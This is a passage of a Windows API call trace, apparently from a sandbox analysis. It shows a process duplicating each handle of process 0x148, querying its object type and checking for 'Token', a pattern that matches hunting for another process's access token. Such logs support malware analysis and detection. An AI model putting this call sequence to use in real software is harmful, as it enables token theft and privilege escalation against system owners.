returned 0x0 [0196.821] CloseHandle (hObject=0x16c) returned 1 [0196.821] CloseHandle (hObject=0x168) returned 1 [0196.821] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.821] GetCurrentProcess () returned 0xffffffffffffffff [0196.821] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x234, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.821] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.821] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.821] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.821] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.821] LocalFree (hMem=0x160a40) returned 0x0 [0196.821] CloseHandle (hObject=0x16c) returned 1 [0196.821] CloseHandle (hObject=0x168) returned 1 [0196.821] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.821] GetCurrentProcess () returned 0xffffffffffffffff [0196.821] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x238, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.821] CloseHandle (hObject=0x168) returned 1 [0196.822] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.822] GetCurrentProcess () returned 0xffffffffffffffff [0196.822] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x23c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.822] CloseHandle (hObject=0x168) returned 1 [0196.822] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.822] GetCurrentProcess () returned 0xffffffffffffffff [0196.822] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x240, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.822] CloseHandle (hObject=0x168) returned 1 [0196.822] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.822] GetCurrentProcess () returned 0xffffffffffffffff [0196.822] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x244, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.822] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.822] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.822] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.822] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.822] LocalFree (hMem=0x181a40) returned 0x0 [0196.822] CloseHandle (hObject=0x16c) returned 1 [0196.822] CloseHandle (hObject=0x168) returned 1 [0196.822] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.822] GetCurrentProcess () returned 0xffffffffffffffff [0196.822] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x248, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.822] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.822] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.823] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.823] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.823] LocalFree (hMem=0x160a40) returned 0x0 [0196.823] CloseHandle (hObject=0x16c) returned 1 [0196.823] CloseHandle (hObject=0x168) returned 1 [0196.823] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.823] GetCurrentProcess () returned 0xffffffffffffffff [0196.823] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x24c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.823] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.823] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.823] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.823] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.823] LocalFree (hMem=0x160a40) returned 0x0 [0196.823] CloseHandle (hObject=0x16c) returned 1 [0196.823] CloseHandle (hObject=0x168) returned 1 [0196.823] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.823] GetCurrentProcess () returned 0xffffffffffffffff [0196.823] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x250, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.823] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.823] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.823] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.823] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.823] LocalFree (hMem=0x160a40) returned 0x0 [0196.823] CloseHandle (hObject=0x16c) returned 1 [0196.824] CloseHandle (hObject=0x168) returned 1 [0196.824] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.824] GetCurrentProcess () returned 0xffffffffffffffff [0196.824] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x254, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x0) returned 0 [0196.824] CloseHandle (hObject=0x168) returned 1 [0196.824] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.824] GetCurrentProcess () returned 0xffffffffffffffff [0196.824] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x258, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.824] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.824] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.824] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.824] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.824] LocalFree (hMem=0x160a40) returned 0x0 [0196.824] CloseHandle (hObject=0x16c) returned 1 [0196.824] CloseHandle (hObject=0x168) returned 1 [0196.824] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.824] GetCurrentProcess () returned 0xffffffffffffffff [0196.824] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x25c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.824] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.824] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.824] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.824] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.824] LocalFree (hMem=0x160a40) returned 0x0 [0196.824] CloseHandle (hObject=0x16c) returned 1 [0196.825] CloseHandle (hObject=0x168) returned 1 [0196.825] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.825] GetCurrentProcess () returned 0xffffffffffffffff [0196.825] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x260, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.825] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.825] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.825] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.825] RtlEqualUnicodeString (String1="Process", String2="Token", CaseInsensitive=1) returned 0 [0196.825] LocalFree (hMem=0x160a40) returned 0x0 [0196.825] CloseHandle (hObject=0x16c) returned 1 [0196.825] CloseHandle (hObject=0x168) returned 1 [0196.825] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.825] GetCurrentProcess () returned 0xffffffffffffffff [0196.825] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x264, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.825] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.825] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.825] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.825] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.825] LocalFree (hMem=0x160a40) returned 0x0 [0196.825] CloseHandle (hObject=0x16c) returned 1 [0196.825] CloseHandle (hObject=0x168) returned 1 [0196.825] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.825] GetCurrentProcess () returned 0xffffffffffffffff [0196.825] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x268, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.826] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.826] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.826] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.826] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.826] LocalFree (hMem=0x160a40) returned 0x0 [0196.826] CloseHandle (hObject=0x16c) returned 1 [0196.826] CloseHandle (hObject=0x168) returned 1 [0196.826] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.826] GetCurrentProcess () returned 0xffffffffffffffff [0196.826] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x26c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.826] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.826] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.826] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.826] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.826] LocalFree (hMem=0x160a40) returned 0x0 [0196.826] CloseHandle (hObject=0x16c) returned 1 [0196.826] CloseHandle (hObject=0x168) returned 1 [0196.826] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.826] GetCurrentProcess () returned 0xffffffffffffffff [0196.826] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x270, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.826] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.826] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.826] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.827] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.827] LocalFree (hMem=0x160a40) returned 0x0 [0196.827] CloseHandle (hObject=0x16c) returned 1 [0196.827] CloseHandle (hObject=0x168) returned 1 [0196.827] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.827] GetCurrentProcess () returned 0xffffffffffffffff [0196.827] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x274, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.827] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.827] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.827] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.827] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.827] LocalFree (hMem=0x160a40) returned 0x0 [0196.827] CloseHandle (hObject=0x16c) returned 1 [0196.827] CloseHandle (hObject=0x168) returned 1 [0196.827] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.827] GetCurrentProcess () returned 0xffffffffffffffff [0196.827] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x278, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.827] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.827] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.827] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.827] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.827] LocalFree (hMem=0x160a40) returned 0x0 [0196.827] CloseHandle (hObject=0x16c) returned 1 [0196.827] CloseHandle (hObject=0x168) returned 1 [0196.828] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.828] GetCurrentProcess () returned 0xffffffffffffffff [0196.828] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x27c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.828] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.828] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.828] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.828] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.828] LocalFree (hMem=0x160a40) returned 0x0 [0196.828] CloseHandle (hObject=0x16c) returned 1 [0196.828] CloseHandle (hObject=0x168) returned 1 [0196.828] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.828] GetCurrentProcess () returned 0xffffffffffffffff [0196.828] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x280, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.828] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.828] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.828] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.828] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.828] LocalFree (hMem=0x160a40) returned 0x0 [0196.828] CloseHandle (hObject=0x16c) returned 1 [0196.828] CloseHandle (hObject=0x168) returned 1 [0196.828] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.829] GetCurrentProcess () returned 0xffffffffffffffff [0196.829] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x284, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.829] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.829] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.829] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.829] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.829] LocalFree (hMem=0x160a40) returned 0x0 [0196.829] CloseHandle (hObject=0x16c) returned 1 [0196.829] CloseHandle (hObject=0x168) returned 1 [0196.829] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.829] GetCurrentProcess () returned 0xffffffffffffffff [0196.829] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x288, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.829] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.829] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.829] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.829] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.829] LocalFree (hMem=0x160a40) returned 0x0 [0196.829] CloseHandle (hObject=0x16c) returned 1 [0196.829] CloseHandle (hObject=0x168) returned 1 [0196.829] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.829] GetCurrentProcess () returned 0xffffffffffffffff [0196.829] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x28c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.829] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.829] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.830] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.830] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.830] LocalFree (hMem=0x160a40) returned 0x0 [0196.830] CloseHandle (hObject=0x16c) returned 1 [0196.830] CloseHandle (hObject=0x168) returned 1 [0196.830] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.830] GetCurrentProcess () returned 0xffffffffffffffff [0196.830] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x290, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.830] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.830] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.830] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.830] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.830] LocalFree (hMem=0x181a40) returned 0x0 [0196.830] CloseHandle (hObject=0x16c) returned 1 [0196.830] CloseHandle (hObject=0x168) returned 1 [0196.830] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.830] GetCurrentProcess () returned 0xffffffffffffffff [0196.830] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x294, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.830] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.830] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.830] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.830] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.830] LocalFree (hMem=0x160a40) returned 0x0 [0196.830] CloseHandle (hObject=0x16c) returned 1 [0196.831] CloseHandle (hObject=0x168) returned 1 [0196.831] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.831] GetCurrentProcess () returned 0xffffffffffffffff [0196.831] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x298, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.831] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.831] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.831] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 